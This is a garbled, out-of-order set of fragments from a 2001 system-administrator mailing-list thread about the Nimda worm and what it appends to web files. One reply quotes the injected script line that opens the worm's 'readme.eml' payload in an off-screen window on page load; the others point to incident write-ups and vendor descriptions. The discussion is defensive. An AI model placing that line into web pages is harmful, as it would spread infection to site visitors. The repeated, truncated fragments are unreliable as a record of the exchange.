t; To: NT System Admin Issues
> Subject: RE: Nimda and HTML Files
>
>
> Yikes!! I got a bunch of antigen messages after including
> that code in the
> email. Looks like a lot of people are scanning for it.
>
> -Original Message-
> From: Bunting, Jeff [mailt
To: NT System Admin Issues
> Subject: RE: Nimda and HTML Files
>
>
> Yikes!! I got a bunch of antigen messages after including
> that code in the
> email. Looks like a lot of people are scanning for it.
>
> -Original Message-
> From: Bunting, Jeff [mailto:[E
stem Admin Issues
> Subject: RE: Nimda and HTML Files
>
>
> Yikes!! I got a bunch of antigen messages after including
> that code in the
> email. Looks like a lot of people are scanning for it.
>
> -Original Message-
> From: Bunting, Jeff [mailto:[EMAIL PROTECTE
Thanks to all. Just what I was looking for.
Mark
-Original Message-
From: Randal, Phil [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 21, 2001 11:51 AM
To: NT System Admin Issues
Subject: RE: Nimda and HTML Files
Check out this document:
http://www.incidents.org/react
and HTML Files
This is what it adds at the end of .htm, .html, and .asp files:
It is only one line; I haven't seen anything else.
Jeff
-Original Message-
From: Mark Kelsay [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 21, 2001 11:35 AM
To: NT System Admin Issues
Subject: Nimd
This is what it adds at the end of .htm, .html, and .asp files:
window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")
It is only one line; I haven't seen anything else.
Jeff
-Original Message-
From: Mark Kelsay [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 21, 2001 11
Check out this document:
http://www.incidents.org/react/nimdaprint.php
The details you want are half way through...
Phil
-
Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK
> -Original Message-
> From: Mark Kelsay [mailto:[E
www.nai.com - look for the virus description and it tells you the lines
added,
Steve Clark
Clark Systems Support, LLC
AVIEN Charter Member
www.clarksupport.com
301-610-9584 voice
240-465-0323 Efax
-Original Message-
From: Mark Kelsay [mailto:[EMAIL PROTECTED]]
Sent: Frida
